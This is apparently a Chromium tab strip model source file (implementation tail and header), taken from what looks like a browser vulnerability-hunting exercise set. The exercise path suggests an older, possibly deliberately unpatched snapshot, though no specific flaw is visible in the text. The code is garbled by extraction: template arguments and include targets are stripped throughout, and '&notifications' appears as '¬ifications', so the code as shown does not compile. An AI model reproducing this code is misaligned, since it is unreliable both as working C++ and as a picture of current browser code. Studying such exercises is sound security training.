true; const bool closing_all = static_cast(items.size()) == count(); base::WeakPtr ref = weak_factory_.GetWeakPtr(); if (closing_all) { for (auto& observer : observers_) observer.WillCloseAllTabs(this); } DetachNotifications notifications(GetWebContentsAtImpl(active_index()), selection_model_); const bool closed_all = CloseWebContentses(items, close_types, ¬ifications); // When unload handler is triggered for all items, we should wait for the // result. if (!notifications.detached_web_contents.empty()) SendDetachWebContentsNotifications(¬ifications); if (!ref) return closed_all; if (closing_all) { // CloseAllTabsStopped is sent with reason kCloseAllCompleted if // closed_all; otherwise kCloseAllCanceled is sent. for (auto& observer : observers_) observer.CloseAllTabsStopped( this, closed_all ? TabStripModelObserver::kCloseAllCompleted : TabStripModelObserver::kCloseAllCanceled); } return closed_all; } bool TabStripModel::CloseWebContentses( base::span items, uint32_t close_types, DetachNotifications* notifications) { if (items.empty()) return true; // We only try the fast shutdown path if the whole browser process is *not* // shutting down. Fast shutdown during browser termination is handled in // browser_shutdown::OnShutdownStarting. if (!browser_shutdown::HasShutdownStarted()) { // Construct a map of processes to the number of associated tabs that are // closing. base::flat_map processes; for (content::WebContents* contents : items) { if (ShouldRunUnloadListenerBeforeClosing(contents)) continue; content::RenderProcessHost* process = contents->GetMainFrame()->GetProcess(); ++processes[process]; } // Try to fast shutdown the tabs that can close. for (const auto& pair : processes) pair.first->FastShutdownIfPossible(pair.second, false); } // We now return to our regularly scheduled shutdown procedure. bool closed_all = true; // The indices of WebContents prior to any modification of the internal state. std::vector original_indices; original_indices.resize(items.size()); for (size_t i = 0; i < items.size(); ++i) original_indices[i] = GetIndexOfWebContents(items[i]); for (size_t i = 0; i < items.size(); ++i) { WebContents* closing_contents = items[i]; // The index into contents_data_. int current_index = GetIndexOfWebContents(closing_contents); DCHECK_NE(current_index, kNoTab); // Update the explicitly closed state. If the unload handlers cancel the // close the state is reset in Browser. We don't update the explicitly // closed state if already marked as explicitly closed as unload handlers // call back to this if the close is allowed. if (!closing_contents->GetClosedByUserGesture()) { closing_contents->SetClosedByUserGesture( close_types & TabStripModel::CLOSE_USER_GESTURE); } if (RunUnloadListenerBeforeClosing(closing_contents)) { closed_all = false; continue; } std::unique_ptr dwc = std::make_unique( original_indices[i], current_index, DetachWebContentsImpl(current_index, close_types & CLOSE_CREATE_HISTORICAL_TAB), /*will_delete=*/true); notifications->detached_web_contents.push_back(std::move(dwc)); } return closed_all; } WebContents* TabStripModel::GetWebContentsAtImpl(int index) const { CHECK(ContainsIndex(index)) << "Failed to find: " << index << " in: " << count() << " entries."; return contents_data_[index]->web_contents(); } TabStripSelectionChange TabStripModel::SetSelection( ui::ListSelectionModel new_model, TabStripModelObserver::ChangeReason reason, bool triggered_by_other_operation) { TabStripSelectionChange selection; selection.old_model = selection_model_; selection.old_contents = GetActiveWebContents(); selection.new_model = new_model; selection.reason = reason; // This is done after notifying TabDeactivated() because caller can assume // that TabStripModel::active_index() would return the index for // |selection.old_contents|. selection_model_ = new_model; selection.new_contents = GetActiveWebContents(); if (!triggered_by_other_operation && (selection.active_tab_changed() || selection.selection_changed())) { if (selection.active_tab_changed()) { auto now = base::TimeTicks::Now(); if (selection.new_contents && selection.new_contents->GetRenderWidgetHostView()) { auto input_event_timestamp = tab_switch_event_latency_recorder_.input_event_timestamp(); // input_event_timestamp may be null in some cases, e.g. in tests. selection.new_contents->GetRenderWidgetHostView() ->SetRecordContentToVisibleTimeRequest( !input_event_timestamp.is_null() ? input_event_timestamp : now, resource_coordinator::ResourceCoordinatorTabHelper::IsLoaded( selection.new_contents), /*show_reason_tab_switching=*/true, /*show_reason_unoccluded=*/false, /*show_reason_bfcache_restore=*/false); } tab_switch_event_latency_recorder_.OnWillChangeActiveTab(now); } TabStripModelChange change; auto visibility_tracker = InstallRenderWigetVisibilityTracker(selection); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } return selection; } void TabStripModel::SelectRelativeTab(bool next, UserGestureDetails detail) { // This may happen during automated testing or if a user somehow buffers // many key accelerators. if (contents_data_.empty()) return; const int start_index = active_index(); base::Optional start_group = GetTabGroupForTab(start_index); // Ensure the active tab is not in a collapsed group so the while loop can // fallback on activating the active tab. DCHECK(!start_group.has_value() || !IsGroupCollapsed(start_group.value())); const int delta = next ? 1 : -1; int index = (start_index + count() + delta) % count(); base::Optional group = GetTabGroupForTab(index); while (group.has_value() && IsGroupCollapsed(group.value())) { index = (index + count() + delta) % count(); group = GetTabGroupForTab(index); } ActivateTabAt(index, detail); } void TabStripModel::MoveTabRelative(bool forward) { const int offset = forward ? 1 : -1; // TODO: this needs to be updated for multi-selection. const int current_index = active_index(); base::Optional current_group = GetTabGroupForTab(current_index); int target_index = std::max(std::min(current_index + offset, count() - 1), 0); base::Optional target_group = GetTabGroupForTab(target_index); // If the tab is at a group boundary and the group is expanded, instead of // actually moving the tab just change its group membership. if (current_group != target_group) { if (current_group.has_value()) { UngroupTab(current_index); return; } else if (target_group.has_value()) { // If the tab is at a group boundary and the group is collapsed, treat the // collapsed group as a tab and find the next available slot for the tab // to move to. const TabGroup* group = group_model_->GetTabGroup(target_group.value()); if (group->visual_data()->is_collapsed()) { const gfx::Range tabs_in_group = group->ListTabs(); target_index = forward ? tabs_in_group.end() - 1 : tabs_in_group.start(); } else { GroupTab(current_index, target_group.value()); return; } } } MoveWebContentsAt(current_index, target_index, true); } void TabStripModel::MoveWebContentsAtImpl(int index, int to_position, bool select_after_move) { FixOpeners(index); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); std::unique_ptr moved_data = std::move(contents_data_[index]); WebContents* web_contents = moved_data->web_contents(); contents_data_.erase(contents_data_.begin() + index); contents_data_.insert(contents_data_.begin() + to_position, std::move(moved_data)); selection_model_.Move(index, to_position, 1); if (!selection_model_.IsSelected(to_position) && select_after_move) selection_model_.SetSelectedIndex(to_position); selection.new_model = selection_model_; TabStripModelChange::Move move; move.contents = web_contents; move.from_index = index; move.to_index = to_position; TabStripModelChange change(move); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); } void TabStripModel::MoveSelectedTabsToImpl(int index, size_t start, size_t length) { DCHECK(start < selection_model_.selected_indices().size() && start + length <= selection_model_.selected_indices().size()); size_t end = start + length; int count_before_index = 0; const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); auto indices = std::vector(sel.begin(), sel.end()); for (size_t i = start; i < end; ++i) { if (indices[i] < index + count_before_index) count_before_index++; } // First move those before index. Any tabs before index end up moving in the // selection model so we use start each time through. int target_index = index + count_before_index; size_t tab_index = start; while (tab_index < end && indices[start] < index) { MoveWebContentsAtImpl(indices[start], target_index - 1, false); // It is necessary to re-populate selected indices because // MoveWebContetsAtImpl mutates selection_model_. const auto& new_sel = selection_model_.selected_indices(); indices = std::vector(new_sel.begin(), new_sel.end()); tab_index++; } // Then move those after the index. These don't result in reordering the // selection, therefore there is no need to repopulate indices. while (tab_index < end) { if (indices[tab_index] != target_index) { MoveWebContentsAtImpl(indices[tab_index], target_index, false); } tab_index++; target_index++; } } void TabStripModel::AddToNewGroupImpl(const std::vector& indices, const tab_groups::TabGroupId& new_group) { DCHECK(!std::any_of( contents_data_.cbegin(), contents_data_.cend(), [new_group](const auto& datum) { return datum->group() == new_group; })); group_model_->AddTabGroup(new_group, base::nullopt); // Find a destination for the first tab that's not pinned or inside another // group. We will stack the rest of the tabs up to its right. int destination_index = -1; for (int i = indices[0]; i < count(); i++) { const int destination_candidate = i + 1; // Grouping at the end of the tabstrip is always valid. if (!ContainsIndex(destination_candidate)) { destination_index = destination_candidate; break; } // Grouping in the middle of pinned tabs is never valid. if (IsTabPinned(destination_candidate)) continue; // Otherwise, grouping is valid if the destination is not in the middle of a // different group. base::Optional destination_group = GetTabGroupForTab(destination_candidate); if (!destination_group.has_value() || destination_group != GetTabGroupForTab(indices[0])) { destination_index = destination_candidate; break; } } MoveTabsAndSetGroupImpl(indices, destination_index, new_group); } void TabStripModel::AddToExistingGroupImpl( const std::vector& indices, const tab_groups::TabGroupId& group) { // Do nothing if the "existing" group can't be found. This would only happen // if the existing group is closed programmatically while the user is // interacting with the UI - e.g. if a group close operation is started by an // extension while the user clicks "Add to existing group" in the context // menu. // If this happens, the browser should not crash. So here we just make it a // no-op, since we don't want to create unintended side effects in this rare // corner case. if (!group_model_->ContainsTabGroup(group)) return; const TabGroup* group_object = group_model_->GetTabGroup(group); int first_tab_in_group = group_object->GetFirstTab().value(); int last_tab_in_group = group_object->GetLastTab().value(); // Split |new_indices| into |tabs_left_of_group| and |tabs_right_of_group| to // be moved to proper destination index. Directly set the group for indices // that are inside the group. std::vector tabs_left_of_group; std::vector tabs_right_of_group; for (int index : indices) { if (index >= first_tab_in_group && index <= last_tab_in_group) { GroupTab(index, group); } else if (index < first_tab_in_group) { tabs_left_of_group.push_back(index); } else { tabs_right_of_group.push_back(index); } } MoveTabsAndSetGroupImpl(tabs_left_of_group, first_tab_in_group, group); MoveTabsAndSetGroupImpl(tabs_right_of_group, last_tab_in_group + 1, group); } void TabStripModel::MoveTabsAndSetGroupImpl( const std::vector& indices, int destination_index, base::Optional group) { // Some tabs will need to be moved to the right, some to the left. We need to // handle those separately. First, move tabs to the right, starting with the // rightmost tab so we don't cause other tabs we are about to move to shift. int numTabsMovingRight = 0; for (size_t i = 0; i < indices.size() && indices[i] < destination_index; i++) { numTabsMovingRight++; } for (int i = numTabsMovingRight - 1; i >= 0; i--) { MoveAndSetGroup(indices[i], destination_index - numTabsMovingRight + i, group); } // Collect indices for tabs moving to the left. std::vector move_left_indices; for (size_t i = numTabsMovingRight; i < indices.size(); i++) { move_left_indices.push_back(indices[i]); } // Move tabs to the left, starting with the leftmost tab. for (size_t i = 0; i < move_left_indices.size(); i++) MoveAndSetGroup(move_left_indices[i], destination_index + i, group); } void TabStripModel::MoveAndSetGroup( int index, int new_index, base::Optional new_group) { if (new_group.has_value()) { // Unpin tabs when grouping -- the states should be mutually exclusive. // Here we manually unpin the tab to avoid moving the tab twice, which can // potentially cause race conditions. if (IsTabPinned(index)) { contents_data_[index]->set_pinned(false); for (auto& observer : observers_) { observer.TabPinnedStateChanged( this, contents_data_[index]->web_contents(), index); } } GroupTab(index, new_group.value()); } else { UngroupTab(index); } if (index != new_index) MoveWebContentsAtImpl(index, new_index, false); } void TabStripModel::AddToReadLaterImpl(const std::vector& indices) { ReadingListModel* model = ReadingListModelFactory::GetForBrowserContext(profile_); if (!model || !model->loaded()) return; for (int index : indices) { WebContents* contents = GetWebContentsAt(index); chrome::MoveTabToReadLater(chrome::FindBrowserWithWebContents(contents), contents); } } base::Optional TabStripModel::UngroupTab(int index) { base::Optional group = GetTabGroupForTab(index); if (!group.has_value()) return base::nullopt; // Update the tab. contents_data_[index]->set_group(base::nullopt); for (auto& observer : observers_) { observer.TabGroupedStateChanged( base::nullopt, contents_data_[index]->web_contents(), index); } // Update the group model. TabGroup* tab_group = group_model_->GetTabGroup(group.value()); tab_group->RemoveTab(); if (tab_group->IsEmpty()) group_model_->RemoveTabGroup(group.value()); return group; } void TabStripModel::GroupTab(int index, const tab_groups::TabGroupId& group) { // Check for an old group first, so that any groups that are changed can be // notified appropriately. base::Optional old_group = GetTabGroupForTab(index); if (old_group.has_value()) { if (old_group.value() == group) return; else UngroupTab(index); } contents_data_[index]->set_group(group); for (auto& observer : observers_) { observer.TabGroupedStateChanged( group, contents_data_[index]->web_contents(), index); } group_model_->GetTabGroup(group)->AddTab(); } void TabStripModel::SetTabPinnedImpl(int index, bool pinned) { DCHECK(ContainsIndex(index)); if (contents_data_[index]->pinned() == pinned) return; // Upgroup tabs if pinning -- the states should be mutually exclusive. if (pinned) UngroupTab(index); // The tab's position may have to change as the pinned tab state is changing. int non_pinned_tab_index = IndexOfFirstNonPinnedTab(); contents_data_[index]->set_pinned(pinned); if (pinned && index != non_pinned_tab_index) { MoveWebContentsAtImpl(index, non_pinned_tab_index, false); index = non_pinned_tab_index; } else if (!pinned && index + 1 != non_pinned_tab_index) { MoveWebContentsAtImpl(index, non_pinned_tab_index - 1, false); index = non_pinned_tab_index - 1; } for (auto& observer : observers_) { observer.TabPinnedStateChanged(this, contents_data_[index]->web_contents(), index); } } std::vector TabStripModel::SetTabsPinned(const std::vector& indices, bool pinned) { std::vector new_indices; if (pinned) { for (size_t i = 0; i < indices.size(); i++) { if (IsTabPinned(indices[i])) { new_indices.push_back(indices[i]); } else { SetTabPinnedImpl(indices[i], true); new_indices.push_back(IndexOfFirstNonPinnedTab() - 1); } } } else { for (size_t i = indices.size() - 1; i < indices.size(); i--) { if (!IsTabPinned(indices[i])) { new_indices.push_back(indices[i]); } else { SetTabPinnedImpl(indices[i], false); new_indices.push_back(IndexOfFirstNonPinnedTab()); } } std::reverse(new_indices.begin(), new_indices.end()); } return new_indices; } // Sets the sound content setting for each site at the |indices|. void TabStripModel::SetSitesMuted(const std::vector& indices, bool mute) const { for (int tab_index : indices) { content::WebContents* web_contents = GetWebContentsAt(tab_index); GURL url = web_contents->GetLastCommittedURL(); if (url.SchemeIs(content::kChromeUIScheme)) { // chrome:// URLs don't have content settings but can be muted, so just // mute the WebContents. chrome::SetTabAudioMuted(web_contents, mute, TabMutedReason::CONTENT_SETTING_CHROME, std::string()); } else { Profile* profile = Profile::FromBrowserContext(web_contents->GetBrowserContext()); HostContentSettingsMap* settings = HostContentSettingsMapFactory::GetForProfile(profile); ContentSetting setting = mute ? CONTENT_SETTING_BLOCK : CONTENT_SETTING_ALLOW; if (setting == settings->GetDefaultContentSetting( ContentSettingsType::SOUND, nullptr)) { setting = CONTENT_SETTING_DEFAULT; } settings->SetContentSettingDefaultScope( url, url, ContentSettingsType::SOUND, setting); } } } void TabStripModel::FixOpeners(int index) { WebContents* old_contents = GetWebContentsAtImpl(index); WebContents* new_opener = GetOpenerOfWebContentsAt(index); for (auto& data : contents_data_) { if (data->opener() != old_contents) continue; // Ensure a tab isn't its own opener. data->set_opener(new_opener == data->web_contents() ? nullptr : new_opener); } // Sanity check that none of the tabs' openers refer |old_contents| or // themselves. DCHECK(!std::any_of( contents_data_.begin(), contents_data_.end(), [old_contents](const std::unique_ptr& data) { return data->opener() == old_contents || data->opener() == data->web_contents(); })); } void TabStripModel::EnsureGroupContiguity(int index) { const auto old_group = GetTabGroupForTab(index); const auto new_left_group = GetTabGroupForTab(index - 1); const auto new_right_group = GetTabGroupForTab(index + 1); if (old_group != new_left_group && old_group != new_right_group) { if (new_left_group == new_right_group && new_left_group.has_value()) { // The tab is in the middle of an existing group, so add it to that group. GroupTab(index, new_left_group.value()); } else if (old_group.has_value() && group_model_->GetTabGroup(old_group.value())->tab_count() > 1) { // The tab is between groups and its group is non-contiguous, so clear // this tab's group. UngroupTab(index); } } } ================================================ FILE: LEVEL_2/exercise_5/tab_strip_model.h ================================================ // Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_ #define CHROME_BROWSER_UI_TABS_TAB_STRIP_MODEL_H_ #include #include #include #include #include #include "base/containers/span.h" #include "base/gtest_prod_util.h" #include "base/macros.h" #include "base/memory/weak_ptr.h" #include "base/observer_list.h" #include "base/optional.h" #include "base/scoped_observer.h" #include "base/strings/string16.h" #include "base/time/time.h" #include "base/timer/timer.h" #include "build/build_config.h" #include "chrome/browser/ui/tabs/tab_group_controller.h" #include "chrome/browser/ui/tabs/tab_strip_model_order_controller.h" #include "chrome/browser/ui/tabs/tab_switch_event_latency_recorder.h" #include "components/tab_groups/tab_group_id.h" #include "components/tab_groups/tab_group_visual_data.h" #include "ui/base/models/list_selection_model.h" #include "ui/base/page_transition_types.h" #if defined(OS_ANDROID) #error This file should only be included on desktop. #endif class Profile; class TabGroupModel; class TabStripModelDelegate; class TabStripModelObserver; namespace content { class WebContents; } //////////////////////////////////////////////////////////////////////////////// // // TabStripModel // // A model & low level controller of a Browser Window tabstrip. Holds a vector // of WebContentses, and provides an API for adding, removing and // shuffling them, as well as a higher level API for doing specific Browser- // related tasks like adding new Tabs from just a URL, etc. // // Each tab may be pinned. Pinned tabs are locked to the left side of the tab // strip and rendered differently (small tabs with only a favicon). The model // makes sure all pinned tabs are at the beginning of the tab strip. For // example, if a non-pinned tab is added it is forced to be with non-pinned // tabs. Requests to move tabs outside the range of the tab type are ignored. // For example, a request to move a pinned tab after non-pinned tabs is ignored. // // A TabStripModel has one delegate that it relies on to perform certain tasks // like creating new TabStripModels (probably hosted in Browser windows) when // required. See TabStripDelegate above for more information. // // A TabStripModel also has N observers (see TabStripModelObserver above), // which can be registered via Add/RemoveObserver. An Observer is notified of // tab creations, removals, moves, and other interesting events. The // TabStrip implements this interface to know when to create new tabs in // the View, and the Browser object likewise implements to be able to update // its bookkeeping when such events happen. // // This implementation of TabStripModel is not thread-safe and should only be // accessed on the UI thread. // //////////////////////////////////////////////////////////////////////////////// class TabStripModel : public TabGroupController { public: // Used to specify what should happen when the tab is closed. enum CloseTypes { CLOSE_NONE = 0, // Indicates the tab was closed by the user. If true, // WebContents::SetClosedByUserGesture(true) is invoked. CLOSE_USER_GESTURE = 1 << 0, // If true the history is recorded so that the tab can be reopened later. // You almost always want to set this. CLOSE_CREATE_HISTORICAL_TAB = 1 << 1, }; // Constants used when adding tabs. enum AddTabTypes { // Used to indicate nothing special should happen to the newly inserted tab. ADD_NONE = 0, // The tab should be active. ADD_ACTIVE = 1 << 0, // The tab should be pinned. ADD_PINNED = 1 << 1, // If not set the insertion index of the WebContents is left up to the Order // Controller associated, so the final insertion index may differ from the // specified index. Otherwise the index supplied is used. ADD_FORCE_INDEX = 1 << 2, // If set the newly inserted tab's opener is set to the active tab. If not // set the tab may still inherit the opener under certain situations. ADD_INHERIT_OPENER = 1 << 3, }; // Enumerates different ways to open a new tab. Does not apply to opening // existing links or searches in a new tab, only to brand new empty tabs. // KEEP IN SYNC WITH THE NewTabType ENUM IN enums.xml. // NEW VALUES MUST BE APPENDED AND AVOID CHANGING ANY PRE-EXISTING VALUES. enum NewTab { // New tab was opened using the new tab button on the tab strip. NEW_TAB_BUTTON = 0, // New tab was opened using the menu command - either through the keyboard // shortcut, or by opening the menu and selecting the command. Applies to // both app menu and the menu bar's File menu (on platforms that have one). NEW_TAB_COMMAND = 1, // New tab was opened through the context menu on the tab strip. NEW_TAB_CONTEXT_MENU = 2, // New tab was opened through the new tab button in the toolbar for the // WebUI touch-optimized tab strip. NEW_TAB_BUTTON_IN_TOOLBAR_FOR_TOUCH = 3, // New tab was opened through the new tab button inside of the WebUI tab // strip. NEW_TAB_BUTTON_IN_WEBUI_TAB_STRIP = 4, // Number of enum entries, used for UMA histogram reporting macros. NEW_TAB_ENUM_COUNT = 5, }; static constexpr int kNoTab = -1; // Construct a TabStripModel with a delegate to help it do certain things // (see the TabStripModelDelegate documentation). |delegate| cannot be NULL. explicit TabStripModel(TabStripModelDelegate* delegate, Profile* profile); ~TabStripModel() override; // Retrieves the TabStripModelDelegate associated with this TabStripModel. TabStripModelDelegate* delegate() const { return delegate_; } // Sets the TabStripModelObserver used by the UI showing the tabs. As other // observers may query the UI for state, the UI's observer must be first. void SetTabStripUI(TabStripModelObserver* observer); // Add and remove observers to changes within this TabStripModel. void AddObserver(TabStripModelObserver* observer); void RemoveObserver(TabStripModelObserver* observer); // Retrieve the number of WebContentses/emptiness of the TabStripModel. int count() const { return static_cast(contents_data_.size()); } bool empty() const { return contents_data_.empty(); } // Retrieve the Profile associated with this TabStripModel. Profile* profile() const { return profile_; } // Retrieve the index of the currently active WebContents. This will be // ui::ListSelectionModel::kUnselectedIndex if no tab is currently selected // (this happens while the tab strip is being initialized or is empty). int active_index() const { return selection_model_.active(); } // Returns true if the tabstrip is currently closing all open tabs (via a // call to CloseAllTabs). As tabs close, the selection in the tabstrip // changes which notifies observers, which can use this as an optimization to // avoid doing meaningless or unhelpful work. bool closing_all() const { return closing_all_; } // Basic API ///////////////////////////////////////////////////////////////// // Determines if the specified index is contained within the TabStripModel. bool ContainsIndex(int index) const; // Adds the specified WebContents in the default location. Tabs opened // in the foreground inherit the opener of the previously active tab. void AppendWebContents(std::unique_ptr contents, bool foreground); // Adds the specified WebContents at the specified location. // |add_types| is a bitmask of AddTabTypes; see it for details. // // All append/insert methods end up in this method. // // NOTE: adding a tab using this method does NOT query the order controller, // as such the ADD_FORCE_INDEX AddTabTypes is meaningless here. The only time // the |index| is changed is if using the index would result in breaking the // constraint that all pinned tabs occur before non-pinned tabs. It returns // the index the web contents is actually inserted to. See also // AddWebContents. int InsertWebContentsAt( int index, std::unique_ptr contents, int add_types, base::Optional group = base::nullopt); // Closes the WebContents at the specified index. This causes the // WebContents to be destroyed, but it may not happen immediately. // |close_types| is a bitmask of CloseTypes. Returns true if the // WebContents was closed immediately, false if it was not closed (we // may be waiting for a response from an onunload handler, or waiting for the // user to confirm closure). bool CloseWebContentsAt(int index, uint32_t close_types); // Replaces the WebContents at |index| with |new_contents|. The // WebContents that was at |index| is returned and its ownership returns // to the caller. std::unique_ptr ReplaceWebContentsAt( int index, std::unique_ptr new_contents); // Detaches the WebContents at the specified index from this strip. The // WebContents is not destroyed, just removed from display. The caller // is responsible for doing something with it (e.g. stuffing it into another // strip). Returns the detached WebContents. std::unique_ptr DetachWebContentsAt(int index); // User gesture type that triggers ActivateTabAt. kNone indicates that it was // not triggered by a user gesture, but by a by-product of some other action. enum class GestureType { kMouse, kTouch, kWheel, kKeyboard, kOther, kTabMenu, kNone }; // Encapsulates user gesture information for tab activation struct UserGestureDetails { UserGestureDetails(GestureType type, base::TimeTicks time_stamp = base::TimeTicks::Now()) : type(type), time_stamp(time_stamp) {} GestureType type; base::TimeTicks time_stamp; }; // Makes the tab at the specified index the active tab. |gesture_detail.type| // contains the gesture type that triggers the tab activation. // |gesture_detail.time_stamp| contains the timestamp of the user gesture, if // any. void ActivateTabAt(int index, UserGestureDetails gesture_detail = UserGestureDetails(GestureType::kNone)); // Report histogram metrics for the number of tabs 'scrubbed' within a given // interval of time. Scrubbing is considered to be a tab activated for <= 1.5 // seconds for this metric. void RecordTabScrubbingMetrics(); // Move the WebContents at the specified index to another index. This // method does NOT send Detached/Attached notifications, rather it moves the // WebContents inline and sends a Moved notification instead. // EnsureGroupContiguity() is called after the move, so this will never result // in non-contiguous group (though the moved tab's group may change). // If |select_after_move| is false, whatever tab was selected before the move // will still be selected, but its index may have incremented or decremented // one slot. It returns the index the web contents is actually moved to. int MoveWebContentsAt(int index, int to_position, bool select_after_move); // Moves the selected tabs to |index|. |index| is treated as if the tab strip // did not contain any of the selected tabs. For example, if the tabstrip // contains [A b c D E f] (upper case selected) and this is invoked with 1 the // result is [b A D E c f]. // This method maintains that all pinned tabs occur before non-pinned tabs. // When pinned tabs are selected the move is processed in two chunks: first // pinned tabs are moved, then non-pinned tabs are moved. If the index is // after (pinned-tab-count - selected-pinned-tab-count), then the index the // non-pinned selected tabs are moved to is (index + // selected-pinned-tab-count). For example, if the model consists of // [A b c D E f] (A b c are pinned) and this is invoked with 2, the result is // [b c A D E f]. In this example nothing special happened because the target // index was <= (pinned-tab-count - selected-pinned-tab-count). If the target // index were 3, then the result would be [b c A f D F]. A, being pinned, can // move no further than index 2. The non-pinned tabs are moved to the target // index + selected-pinned tab-count (3 + 1). void MoveSelectedTabsTo(int index); // Moves all tabs in |group| to |to_index|. This has no checks to make sure // the position is valid for a group to move to. void MoveGroupTo(const tab_groups::TabGroupId& group, int to_index); // Returns the currently active WebContents, or NULL if there is none. content::WebContents* GetActiveWebContents() const; // Returns the WebContents at the specified index, or NULL if there is // none. content::WebContents* GetWebContentsAt(int index) const override; // Returns the index of the specified WebContents, or TabStripModel::kNoTab // if the WebContents is not in this TabStripModel. int GetIndexOfWebContents(const content::WebContents* contents) const; // Notify any observers that the WebContents at the specified index has // changed in some way. See TabChangeType for details of |change_type|. void UpdateWebContentsStateAt(int index, TabChangeType change_type); // Cause a tab to display a UI indication to the user that it needs their // attention. void SetTabNeedsAttentionAt(int index, bool attention); // Close all tabs at once. Code can use closing_all() above to defer // operations that might otherwise by invoked by the flurry of detach/select // notifications this method causes. void CloseAllTabs(); // Returns true if there are any WebContentses that are currently loading. bool TabsAreLoading() const; // Returns the WebContents that opened the WebContents at |index|, or NULL if // there is no opener on record. content::WebContents* GetOpenerOfWebContentsAt(int index); // Changes the |opener| of the WebContents at |index|. // Note: |opener| must be in this tab strip. Also a tab must not be its own // opener. void SetOpenerOfWebContentsAt(int index, content::WebContents* opener); // Returns the index of the last WebContents in the model opened by the // specified opener, starting at |start_index|. int GetIndexOfLastWebContentsOpenedBy(const content::WebContents* opener, int start_index) const; // To be called when a navigation is about to occur in the specified // WebContents. Depending on the tab, and the transition type of the // navigation, the TabStripModel may adjust its selection behavior and opener // inheritance. void TabNavigating(content::WebContents* contents, ui::PageTransition transition); // Changes the blocked state of the tab at |index|. void SetTabBlocked(int index, bool blocked); // Changes the pinned state of the tab at |index|. See description above // class for details on this. void SetTabPinned(int index, bool pinned); // Returns true if the tab at |index| is pinned. // See description above class for details on pinned tabs. bool IsTabPinned(int index) const; bool IsTabCollapsed(int index) const; bool IsGroupCollapsed(const tab_groups::TabGroupId& group) const; // Returns true if the tab at |index| is blocked by a tab modal dialog. bool IsTabBlocked(int index) const; // Returns the group that contains the tab at |index|, or nullopt if the tab // index is invalid or not grouped. base::Optional GetTabGroupForTab( int index) const override; // If a tab inserted at |index| would be within a tab group, return that // group's ID. Otherwise, return nullopt. If |index| points to the first tab // in a group, it will return nullopt since a new tab would be either between // two different groups or just after a non-grouped tab. base::Optional GetSurroundingTabGroup( int index) const; // Returns the index of the first tab that is not a pinned tab. This returns // |count()| if all of the tabs are pinned tabs, and 0 if none of the tabs are // pinned tabs. int IndexOfFirstNonPinnedTab() const; // Extends the selection from the anchor to |index|. void ExtendSelectionTo(int index); // Toggles the selection at |index|. This does nothing if |index| is selected // and there are no other selected tabs. void ToggleSelectionAt(int index); // Makes sure the tabs from the anchor to |index| are selected. This only // adds to the selection. void AddSelectionFromAnchorTo(int index); // Returns true if the tab at |index| is selected. bool IsTabSelected(int index) const; // Sets the selection to match that of |source|. void SetSelectionFromModel(ui::ListSelectionModel source); const ui::ListSelectionModel& selection_model() const; // Command level API ///////////////////////////////////////////////////////// // Adds a WebContents at the best position in the TabStripModel given // the specified insertion index, transition, etc. |add_types| is a bitmask of // AddTabTypes; see it for details. This method ends up calling into // InsertWebContentsAt to do the actual insertion. Pass kNoTab for |index| to // append the contents to the end of the tab strip. void AddWebContents( std::unique_ptr contents, int index, ui::PageTransition transition, int add_types, base::Optional group = base::nullopt); // Closes the selected tabs. void CloseSelectedTabs(); // Select adjacent tabs void SelectNextTab( UserGestureDetails detail = UserGestureDetails(GestureType::kOther)); void SelectPreviousTab( UserGestureDetails detail = UserGestureDetails(GestureType::kOther)); // Selects the last tab in the tab strip. void SelectLastTab( UserGestureDetails detail = UserGestureDetails(GestureType::kOther)); // Moves the active in the specified direction. Respects group boundaries. void MoveTabNext(); void MoveTabPrevious(); // Create a new tab group and add the set of tabs pointed to be |indices| to // it. Pins all of the tabs if any of them were pinned, and reorders the tabs // so they are contiguous and do not split an existing group in half. Returns // the new group. |indices| must be sorted in ascending order. tab_groups::TabGroupId AddToNewGroup(const std::vector& indices); // Add the set of tabs pointed to by |indices| to the given tab group |group|. // The tabs take on the pinnedness of the tabs already in the group, and are // moved to immediately follow the tabs already in the group. |indices| must // be sorted in ascending order. void AddToExistingGroup(const std::vector& indices, const tab_groups::TabGroupId& group); // Moves the set of tabs indicated by |indices| to precede the tab at index // |destination_index|, maintaining their order and the order of tabs not // being moved, and adds them to the tab group |group|. void MoveTabsAndSetGroup(const std::vector& indices, int destination_index, base::Optional group); // Similar to AddToExistingGroup(), but creates a group with id |group| if it // doesn't exist. This is only intended to be called from session restore // code. void AddToGroupForRestore(const std::vector& indices, const tab_groups::TabGroupId& group); // Updates the tab group of the tab at |index|. If |group| is nullopt, the tab // will be removed from the current group. If |group| does not exist, it will // create the group then add the tab to the group. void UpdateGroupForDragRevert( int index, base::Optional group_id, base::Optional group_data); // Removes the set of tabs pointed to by |indices| from the the groups they // are in, if any. The tabs are moved out of the group if necessary. |indices| // must be sorted in ascending order. void RemoveFromGroup(const std::vector& indices); TabGroupModel* group_model() const { return group_model_.get(); } // Returns true if one or more of the tabs pointed to by |indices| are // supported by read later. bool IsReadLaterSupportedForAny(const std::vector indices); // Saves tabs with url supported by Read Later. void AddToReadLater(const std::vector& indices); // TabGroupController: void CreateTabGroup(const tab_groups::TabGroupId& group) override; void OpenTabGroupEditor(const tab_groups::TabGroupId& group) override; void ChangeTabGroupContents(const tab_groups::TabGroupId& group) override; void ChangeTabGroupVisuals( const tab_groups::TabGroupId& group, const TabGroupChange::VisualsChange& visuals) override; void MoveTabGroup(const tab_groups::TabGroupId& group) override; void CloseTabGroup(const tab_groups::TabGroupId& group) override; // The same as count(), but overridden for TabGroup to access. int GetTabCount() const override; // View API ////////////////////////////////////////////////////////////////// // Context menu functions. Tab groups uses command ids following CommandLast // for entries in the 'Add to existing group' submenu. enum ContextMenuCommand { CommandFirst, CommandNewTabToRight, CommandReload, CommandDuplicate, CommandCloseTab, CommandCloseOtherTabs, CommandCloseTabsToRight, CommandTogglePinned, CommandToggleGrouped, CommandFocusMode, CommandToggleSiteMuted, CommandSendTabToSelf, CommandSendTabToSelfSingleTarget, CommandAddToReadLater, CommandAddToNewGroup, CommandAddToExistingGroup, CommandRemoveFromGroup, CommandMoveToExistingWindow, CommandMoveTabsToNewWindow, CommandLast }; // Returns true if the specified command is enabled. If |context_index| is // selected the response applies to all selected tabs. bool IsContextMenuCommandEnabled(int context_index, ContextMenuCommand 